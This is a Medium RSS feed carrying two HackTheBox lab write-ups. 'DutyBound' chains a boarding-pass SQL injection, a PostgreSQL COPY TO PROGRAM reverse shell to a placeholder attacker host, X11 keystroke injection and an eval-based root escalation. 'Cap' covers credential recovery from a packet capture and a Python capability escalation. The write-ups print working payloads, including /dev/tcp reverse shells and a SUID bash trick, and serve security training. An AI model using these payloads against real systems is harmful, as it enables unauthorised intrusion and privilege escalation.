<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Imtoghru L on Medium]]></title>
        <description><![CDATA[Stories by Imtoghru L on Medium]]></description>
        <link>https://medium.com/@imtoghru.l?source=rss-57b2224ff57d------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*ZoITkllgUyCXhABDpmZPOQ.jpeg</url>
            <title>Stories by Imtoghru L on Medium</title>
            <link>https://medium.com/@imtoghru.l?source=rss-57b2224ff57d------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Fri, 04 Dec 2026 14:55:08 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@imtoghru.l/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[DutyBound — HackTheBox Season 12 Write-up]]></title>
            <link>https://medium.com/@imtoghru.l/dutybound-hackthebox-season-12-write-up-dc1b2a03fee7?source=rss-57b2224ff57d------2</link>
            <guid isPermaLink="false">https://medium.com/p/dc1b2a03fee7</guid>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Imtoghru L]]></dc:creator>
            <pubDate>Wed, 25 Nov 2026 21:48:59 GMT</pubDate>
            <atom:updated>2026-11-25T21:48:59.527Z</atom:updated>
            <content:encoded><![CDATA[<p><em>Linux · Medium</em></p><blockquote><em>All scripts referenced in this write-up (</em><em>bcbp_builder.py, </em><em>xtest_hijack.py) are available on my GitHub: </em><a href="https://github.com/imtoghrul-cyber/dutybound_htb">https://github.com/imtoghrul-cyber/dutybound_htb</a><em>. I kept the code out of this post to keep it readable — grab the full, commented versions there if you want to reproduce the chain.</em></blockquote><h3>TL;DR</h3><p>DutyBound chains together five very different weaknesses into a full compromise:</p><ol><li>A boarding-pass (BCBP) parser that validates the mandatory fields but leaves a trailing “airline individual use” field completely untrusted.</li><li>That field flows into a raw, string-interpolated SQL INSERT, giving classic SQL injection.</li><li>The database role happens to be a member of PostgreSQL’s pg_execute_server_program, turning the SQLi into OS command execution via COPY ... TO PROGRAM.</li><li>The resulting shell (as postgres) can reach a live X11 desktop session over a world-writable socket, and XTEST lets us synthesize keyboard input into another user&#39;s terminal.</li><li>That user (dutyfree-kiosk) can write to a CSV consumed by a root-owned systemd service that blindly evals one of its fields.</li></ol><p>Web → SQLi → DB-level RCE → X11 session hijack → group-writable file → systemd trigger → eval injection → root.</p><h3>1. Recon</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/545/1*Sr2G9r7OHzpTEwmuK7D0mg.png" /></figure><pre>nmap -Pn -n -p- --min-rate 1000 -T4 &lt;TARGET_IP&gt;</pre><p>Three ports were open: SSH (22), and nginx on 80 (redirecting to HTTPS) and 443, serving the main application.</p><pre>echo &#39;&lt;TARGET_IP&gt; airsnacks.htb&#39; | sudo tee -a /etc/hosts</pre><p>The app is a self-service duty-free checkout: /browse, /cart, /checkout/boarding-pass, plus /exit and /health.</p><h3>2. Finding the boarding-pass verification endpoint</h3><p>Digging through the client-side JavaScript (/static/app.js) turned up the scanner call:</p><pre>postJSON(&quot;/checkout/boarding-pass/verify&quot;, { raw: &quot;&quot; });</pre><p>That meant the barcode scanner UI was irrelevant — I could hit the endpoint directly from Burp Repeater. A basket item is required first:</p><pre>JAR=/tmp/dutybound-cookies.txt<br>curl -ks -c &quot;$JAR&quot; -b &quot;$JAR&quot; \<br>  -H &#39;Content-Type: application/json&#39; \<br>  -d &#39;{&quot;sku&quot;:&quot;SNK-CRN&quot;}&#39; \<br>  https://airsnacks.htb/cart/add</pre><h3>3. Reverse-engineering the BCBP format</h3><p>An empty raw value returned:</p><pre>{&quot;error&quot;:&quot;BCBP_ERR_FORMAT_CODE&quot;}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WDf0Dzl7VPJJy720DfEkmw.png" /></figure><p>BCBP (Bar Coded Boarding Pass) is a fixed-position format: a format code (M), passenger name, record locator, airport/carrier codes, flight number, date, class, seat, sequence number, and an optional <em>conditional</em> section carrying extra fields. By feeding the endpoint progressively more complete payloads and reading the validation errors, I mapped out the required structure field by field:</p><p>Test Error What it told me Empty input BCBP_ERR_FORMAT_CODE Must start with M Bad seat BCBP_ERR_SEAT_FORMAT Seat must look like 012A Bad sequence BCBP_ERR_SEQUENCE_FORMAT Sequence must look like 0001A Missing conditional section BCBP_ERR_CONDITIONAL_REQUIRED A &gt; conditional block is mandatory Wrong item 10 length BCBP_ERR_ITEM10_MISMATCH The 2-char hex length byte must match the real data length Wrong item 17 length BCBP_ERR_ITEM17_MISMATCH Same, for the repeated (per-leg) sub-section</p><p>The key lesson here: <em>the parser has to accept the payload before the vulnerable code path is ever reached.</em> Every rejected test tells you nothing about what happens afterward — you have to fully satisfy the format first.</p><h3>A working BCBP</h3><p>Once every mandatory and conditional field matched the expected lengths, a request like this returned HTTP 200:</p><pre>M1DOE/JOHN            EABCDEF LHRJFKHTB1234 032Y012A0001A121&gt;6180WW6252BHTB000000000000003057</pre><pre>{<br>  &quot;audit_ref&quot;: &quot;aud_4865fee8c3ba&quot;,<br>  &quot;dest&quot;: &quot;JFK&quot;,<br>  &quot;eligibility_token&quot;: &quot;eyJhbGciOi...&quot;,<br>  &quot;exempt&quot;: false,<br>  &quot;regime&quot;: &quot;OFF_AIRPORT&quot;<br>}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hneoswDtn7BopUp7Qybcyg.png" /></figure><p>A small side note: switching the origin airport to HTB flipped the regime to INTERNATIONAL with exempt: true and a tax-free discount in the basket — a fun quirk, but it didn&#39;t lead anywhere toward the foothold, so I moved on.</p><h3>4. SQL injection in the “airline individual use” field</h3><p>BCBP’s conditional section ends with a free-form, per-airline field that the spec deliberately leaves undefined — and the application trusted it completely. Appending a single quote to that field and recalculating the section’s hex length:</p><pre>{&quot;raw&quot;:&quot;M1DOE/JOHN            EABCDEF LHRJFKHTB1234 032Y012A0001A122&gt;6180WW6252BHTB000000000000003057&#39;&quot;}</pre><p>returned:</p><pre>{<br>  &quot;detail&quot;: &quot;unterminated quoted string at or near \&quot;&#39;&#39;&#39;)\&quot;\nLINE 1: .../JOHN&#39;, &#39;HTB&#39;, &#39;1234&#39;, &#39;032&#39;, &#39;LHR&#39;, &#39;JFK&#39;, &#39;&#39;, &#39;&#39;, 94, &#39;&#39;&#39;)\n&quot;,<br>  &quot;error&quot;: &quot;DCS_ERR_INTERNAL&quot;<br>}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fswzPettE1mTG56SFPDeSA.png" /></figure><p>The leaked SQL fragment confirms the backend builds the INSERT with raw string interpolation (&quot;... %d, &#39;%s&#39;)&quot; % (len(raw), bp.airline_use) once I later read the source) rather than parameter binding.</p><h3>Extracting the database user (error-based)</h3><pre>&#39; || (SELECT CAST(current_user AS int)) || &#39;</pre><pre>{&quot;detail&quot;:&quot;invalid input syntax for type integer: \&quot;airsnacks_app\&quot;\n&quot;,&quot;error&quot;:&quot;DCS_ERR_INTERNAL&quot;}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3a4yes3anQEP4174ILGlgg.png" /></figure><h3>Checking role membership</h3><pre>&#39; || (SELECT CAST((SELECT string_agg(r.rolname, &#39;,&#39;) FROM pg_auth_members m<br>JOIN pg_roles r ON r.oid = m.roleid<br>JOIN pg_roles u ON u.oid = m.member<br>WHERE u.rolname = current_user) AS int)) || &#39;</pre><p>First attempt hit column reference &quot;rolname&quot; is ambiguous (two joined pg_roles aliases both expose rolname — an easy fix, qualify it as r.rolname). The corrected query returned:</p><pre>{&quot;detail&quot;:&quot;invalid input syntax for type integer: \&quot;pg_execute_server_program\&quot;\n&quot;,&quot;error&quot;:&quot;DCS_ERR_INTERNAL&quot;}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*W_gihPL6t95C0e6pS0tMmQ.png" /></figure><p>pg_execute_server_program is a predefined PostgreSQL role that allows COPY ... TO/FROM PROGRAM, which pipes a query&#39;s output into — or an OS command&#39;s output out of — an arbitrary shell command. A SQL injection against a role with this membership is effectively OS command execution.</p><h3>5. From SQLi to a shell as postgres</h3><p>COPY ... TO PROGRAM is a standalone statement, not an expression — it can&#39;t be nested inside the vulnerable INSERT&#39;s subquery. Since the backend executes the assembled SQL string without parameter binding, Postgres&#39; simple query protocol allows <strong>stacked statements</strong> separated by ;. The payload closes the original INSERT, opens a new statement, and comments out the trailing quote the application appends:</p><pre>&#39;); COPY (SELECT 1) TO PROGRAM &#39;bash -c &quot;bash -i &gt;&amp; /dev/tcp/&lt;YOUR_IP&gt;/&lt;PORT&gt; 0&gt;&amp;1&quot;&#39;; --</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/838/1*JuKBjBNBlJAKGuFMvgPD_g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sG0H36s5ZB_NVGj3x3LAgg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/837/1*GQTzoDjITZaanBjKwTi8uQ.png" /></figure><p><em>(The raw BCBP string with the correct hex length is generated by </em><em>bcbp_builder.py in the repo — see the link at the top.)</em></p><p>Shell stabilization, if you want it for later screenshots:</p><pre>python3 -c &#39;import pty; pty.spawn(&quot;/bin/bash&quot;)&#39;<br>export TERM=xterm<br># Ctrl+Z, then locally: stty raw -echo; fg</pre><h3>6. Pivoting to dutyfree-kiosk via X11</h3><p>The postgres shell can&#39;t read dutyfree-kiosk&#39;s home directory directly. Process enumeration told a different story:</p><pre>ps aux | grep -i x</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*V6SSh8gp1zsHggMazs4RgA.png" /></figure><p>An active Openbox desktop on display :0, with Firefox pinned in kiosk mode to the AirSnacks site. Checking the X socket:</p><pre>ls -la /tmp/.X11-unix/</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/626/1*YYXz03V96JJp-ogZzCegWg.png" /></figure><p>That permission is the whole bug: on X11, any client that can open the display socket is treated as a fully trusted client on that session — it can read the screen, inject synthetic input, and interact with other clients’ windows. postgres connecting as a different Linux user doesn&#39;t matter; the socket itself was the only gate, and it was wide open.</p><pre>export DISPLAY=:0<br>python3 -c &quot;from Xlib import display; print(display.Display().screen_count())&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ARS3swNObZUSeObuFzGoog.png" /></figure><h3>Opening a terminal on someone else’s desktop</h3><p>Openbox’s config (/etc/xdg/openbox/rc.xml) binds Ctrl+Alt+T to spawn xterm. With xdotool unavailable, Python&#39;s Xlib.ext.xtest extension can synthesize the same key events directly at the X protocol level.</p><pre>python3 xtest_hijack.py --open-terminal</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sXt26kxn3mPcENQrKwYHJw.png" /></figure><p>The tricky part in practice was <strong>focus</strong>: a freshly-spawned window doesn’t automatically receive keyboard focus from synthetic XTEST events, and Firefox’s kiosk mode can also hold an active keyboard grab. The script in the repo handles both: it enumerates _NET_CLIENT_LIST to find the xterm window, issues XUngrabKeyboard to break any active grab, forces XSetInputFocus onto the target window, and — for peace of mind — subscribes to KeyPress on that window itself so it can confirm the synthetic keys actually arrived before typing a real payload.</p><pre>nc -lvnp &lt;PORT2&gt;</pre><pre>python3 xtest_hijack.py --type &quot;bash -c &#39;bash -i &gt;&amp; /dev/tcp/&lt;YOUR_IP&gt;/&lt;PORT2&gt; 0&gt;&amp;1&#39;&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LOuVI0a_2sYg2ZbCFPXXPQ.png" /></figure><h3>7. Privilege escalation: a group-writable CSV and an unsafe eval</h3><pre>id</pre><pre>uid=1000(dutyfree-kiosk) gid=1000(dutyfree-kiosk) groups=1000(dutyfree-kiosk),1001(pos-ops)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/832/1*30KaZ3taVjYvnObhvd45qQ.png" /></figure><p>Hunting for files that group can write to:</p><pre>find / -perm -g=w -type f 2&gt;/dev/null | xargs ls -la 2&gt;/dev/null | grep pos-ops</pre><pre>-rw-rw-r-- 1 root pos-ops 97 Aug 26 14:21 /opt/vrs/data/duty-rates.csv</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*n8kDrqQPTJwEOkKtRfSwow.png" /></figure><p>A group-writable file owned by root is interesting on its own, but the real question is <em>who reads it, and with what privileges</em>. Checking systemd:</p><pre>systemctl cat vrs-duty-apply.path<br>systemctl cat vrs-duty-apply.service</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*H9fJMig5zFO1UMJ08Kfz7Q.png" /></figure><pre>cat /opt/vrs/bin/apply-duty-rates.sh</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rawn3eH-durfH-qATa8OCw.png" /></figure><p>The relevant lines:</p><pre>while IFS=, read -r tax_class duty_pct vat_pct; do<br>    ...<br>    if ! [[ &quot;$duty_pct&quot; =~ ^[0-9]+$ &amp;&amp; &quot;$vat_pct&quot; =~ ^[0-9]+$ ]]; then<br>        exit 1<br>    fi<br>    eval &quot;${tax_class}=${duty_pct}&quot;<br>done &lt; &quot;$RATES&quot;</pre><pre>for req in SPIRITS WINE BEER SNACKS CONFECTIONERY; do<br>    [[ -z &quot;${!req:-}&quot; ]] &amp;&amp; exit 1<br>done</pre><p>duty_pct and vat_pct are regex-validated as pure digits — but tax_class, the <strong>first</strong> field, is only checked for being non-empty before being handed straight to eval. Classic incomplete-validation-leads-to-code-execution.</p><h3>Crafting the payload</h3><p>The script requires five specific category names (SPIRITS, WINE, BEER, SNACKS, CONFECTIONERY) to exist as variables after the loop, or it exits before reaching the psql import step — though by then eval has already run, so this only matters for the script to finish &quot;cleanly.&quot; I kept the original rows intact and appended one crafted line:</p><pre>cat /opt/vrs/data/duty-rates.csv   # view current content first<br>cat &gt;&gt; /opt/vrs/data/duty-rates.csv &lt;&lt; &#39;EOF&#39;<br>x=1;cp /bin/bash /tmp/rootbash;chmod +s /tmp/rootbash #,45,20<br>EOF</pre><p>The # turns everything after it — including the duty_pct/vat_pct values the loop appends — into a shell comment inside the eval, so the injected command runs cleanly instead of hitting a syntax error.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MprcsjDX-ppIrndr4E1xTQ.png" /></figure><h3>8. Root</h3><p>Writing to the watched file triggers the .path unit immediately:</p><pre>sleep 2<br>systemctl status vrs-duty-apply.service<br>ls -la /tmp/rootbash</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*axs0KUHok0BcNjraOFzfiQ.png" /></figure><pre>/tmp/rootbash -p<br>whoami<br>cat /root/root.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Jc4oVGbMgz1QPkmwEBhF6A.png" /></figure><p>-p matters here: bash normally drops its effective UID back to the real UID when it detects it was invoked via a SUID bit, unless started in privileged mode.</p><h3>Cleanup</h3><pre>cp /opt/vrs/data/duty-rates.csv.bak /opt/vrs/data/duty-rates.csv   # restore from your earlier backup<br>rm -f /tmp/rootbash</pre><p>Always restore anything you modified on a shared/lab box once you’re done.</p><h3>Full attack chain</h3><pre>AirSnacks web app<br>   -&gt; BCBP verification endpoint<br>   -&gt; SQL injection in audit logging (&quot;airline individual use&quot; field)<br>   -&gt; pg_execute_server_program role membership<br>   -&gt; COPY ... TO PROGRAM -&gt; shell as postgres<br>   -&gt; world-writable X11 socket -&gt; XTEST keystroke injection<br>   -&gt; shell as dutyfree-kiosk (user flag)<br>   -&gt; group-writable duty-rates.csv<br>   -&gt; root-owned systemd path/service unit<br>   -&gt; unsafe eval in apply-duty-rates.sh<br>   -&gt; root (root flag)</pre><h3>Takeaways</h3><ul><li><strong>Parameterize everything.</strong> The entire foothold exists because one field, in one audit-logging INSERT, used string interpolation instead of a bound parameter.</li><li><strong>Database roles should be minimal.</strong> pg_execute_server_program turned an information-disclosure-grade SQLi into full RCE. Application roles almost never need it.</li><li><strong>A display socket is a trust boundary.</strong> /tmp/.X11-unix/X0 being world-writable meant any local user, regardless of Unix UID, could fully control another user&#39;s graphical session — screen, keyboard, and all.</li><li><strong>Validate every field, not just the convenient ones.</strong> duty_pct/vat_pct were strictly checked; tax_class wasn&#39;t, and it was the one field actually fed to eval.</li><li><strong>Group write access to a privileged service’s input is effectively privilege escalation</strong>, even with no SUID binaries or sudo misconfigurations in sight.</li></ul><p>Scripts used throughout this write-up (BCBP payload builder, X11/XTEST hijacking tool) are on GitHub: <a href="https://github.com/imtoghrul-cyber/dutybound_htb">https://github.com/imtoghrul-cyber/dutybound_htb</a>.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=dc1b2a03fee7" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HTB Cap Write-Up]]></title>
            <link>https://medium.com/@imtoghru.l/htb-cap-write-up-f4b9a4a272b0?source=rss-57b2224ff57d------2</link>
            <guid isPermaLink="false">https://medium.com/p/f4b9a4a272b0</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[htb]]></category>
            <category><![CDATA[ctf-walkthrough]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Imtoghru L]]></dc:creator>
            <pubDate>Sun, 18 Oct 2026 19:49:44 GMT</pubDate>
            <atom:updated>2026-10-18T19:49:44.484Z</atom:updated>
            <content:encoded><![CDATA[<p>In this article, I’ll walk you through my solution for the “Cap” machine on Hack The Box (HTB). This room presents an engaging combination of network packet analysis and Linux privilege escalation, making it an ideal challenge for both newcomers and security enthusiasts looking to refine their penetration testing methodology.</p><p>The initial reconnaissance phase started with an Nmap scan, pointing toward a few intriguing open services. During enumeration, I discovered a PCAP capture file containing cleartext credentials. Leveraging tools such as Wireshark alongside resources like GTFOBins, I analyzed the captured traffic, elevated my system privileges, and successfully retrieved the root flag.</p><p>Whether you want to improve your methodology for CTF challenges or practice hands-on cybersecurity skills, this write-up provides a clear, step-by-step breakdown of the entire process. Let’s dive in!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/372/0*U2xx2xNElHWkilco.png" /></figure><h3>Toolset:</h3><p>— nmap<br> — Wireshark<br> — Rustscan<br> — ffuf</p><h4>Step 1 : Reconnaissance (Port Scanning)</h4><p>To kick off the enumeration process, I ran a fast port scan using RustScan against the target IP address (`10.129.174.94`). RustScan quickly identified the open ports and passed them to Nmap for detailed service detection:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/873/1*zqTjKOjv6WMAAPYplYGxag.png" /></figure><p><strong>So, we can answer the Task 1:</strong></p><p>How many TCP ports are open? -&gt; 3 (22,21,80)</p><p><strong>Step 2 : Service &amp; Version Enumeration (Detailed Nmap Scan)</strong></p><p>After identifying the open ports, I executed a detailed Nmap scan using default scripts (`-sC`) and service version detection (`-sV`) on ports 21, 22, and 80 to gather more granular information about the target services:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/857/1*RpAxk57xuGCQ_3roVCaFeQ.png" /></figure><p><strong>Step 3 : Directory Fuzzing (`ffuf`)</strong></p><p>To discover hidden endpoints and unlinked pages on the web server, I used `ffuf` with the `directory-list-2.3-medium.txt` wordlist:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WrHo7iAhMVvBUS6rSAkjmQ.png" /></figure><p>So, we can find the important data on data endpoint <br><a href="http://10.129.174.94/"><strong><em>http://10.129.174.94/</em></strong></a><strong><em>data/0</em></strong><br><strong>Let’s answer the Task 2:</strong></p><p><strong><em>After running a “Security Snapshot”, the browser is redirected to a path of the format </em></strong><strong><em>/[something]/[id], where </em></strong><strong><em>[id] represents the id number of the scan. What is the </em></strong><strong><em>[something]? -&gt; /data/0</em></strong></p><p><strong>Step 4 : Exploring pcap file with Wireshark</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/307/1*OHJE2ex1m2xKBzQZej62cw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WnJ_jWodr5VQ1Aa_wEUy5w.png" /></figure><p>I opened the 0.pcap file with Wireshark and started the analysing Network Traffic.I followed the FTP protocol with Follow -&gt; TCP Stream.Then I have FTP protocol records.So, we have username and password <br><strong>USER nathan<br>PASS Buck3tH4TF0RM3!</strong></p><p><strong>In that point, we can answer the Task 3, Task 4, and Task 5:</strong></p><p><strong>Are you able to get to other users’ scans? -&gt; yes</strong></p><p><strong>What is the ID of the PCAP file that contains sensative data? -&gt; 0</strong></p><p><strong>Which application layer protocol in the pcap file can the sensetive data be found in? -&gt; ftp</strong></p><p><strong>Step 5 : Going into with SSH</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oYY4FTu5FA7pzYNj7K2ytQ.png" /></figure><p>We use the credentials and log into ssh, <strong>So we can answer the Task 6:</strong></p><p><strong>We’ve managed to collect nathan’s FTP password. On what other service does this password work? -&gt; SSH</strong></p><p><strong>Step 6 : Taking the First Flag(User Flag)</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/311/1*RLFYsZXR1gJzCYKwL5Ku5w.png" /></figure><p>When we are on the system just listing files and taking the first user flag</p><p><strong>Step 7 : Privilege Escalation(Root Flag)</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/976/1*LREtNIspul0YvH2MAuWfRw.png" /></figure><p>When we try for Privilege Escalation we must look for capabilities on the system</p><pre>getcap -r / 2&gt;/dev/null</pre><p>this command helps us for searching the capabilities.After the search we notice about the python3.8 and also this capability has permission for cap_setuid</p><p>Then we need to check <a href="https://gtfobins.org/">https://gtfobins.org/</a> for privilege escalation</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/812/1*3sjI56W8wKG8JGl4GDo-UA.png" /></figure><p>So, use the code</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/795/1*u9GF0eOAXLKooCBGB1dHIQ.png" /></figure><p><strong>and there’s the root flag</strong></p><p><strong>also we have answer for Task 9 :</strong></p><p><strong>What is the full path to the binary on this machine has special capabilities that can be abused to obtain root privileges? -&gt; /usr/bin/python3.8</strong></p><p>Congrulations, Now you are root !</p><p>Thanks for reading</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f4b9a4a272b0" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>